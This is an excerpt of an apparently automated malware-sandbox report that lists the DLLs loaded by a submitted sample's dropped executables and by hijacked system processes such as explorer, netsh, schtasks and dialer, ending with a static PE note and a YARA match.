Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.internal.shell.broker.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B677.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\B677.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: vaultcli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe Section loaded: wldp.dll
Source: C:\Windows\explorer.exe Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe Section loaded: netutils.dll
Source: C:\Windows\explorer.exe Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: msasn1.dll
Source: C:\Windows\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe Section loaded: wldp.dll
Source: C:\Windows\explorer.exe Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe Section loaded: netutils.dll
Source: C:\Windows\explorer.exe Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: tapi32.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\dialer.exe Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Uses 32bit PE files
Source: e7CLP6462y.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
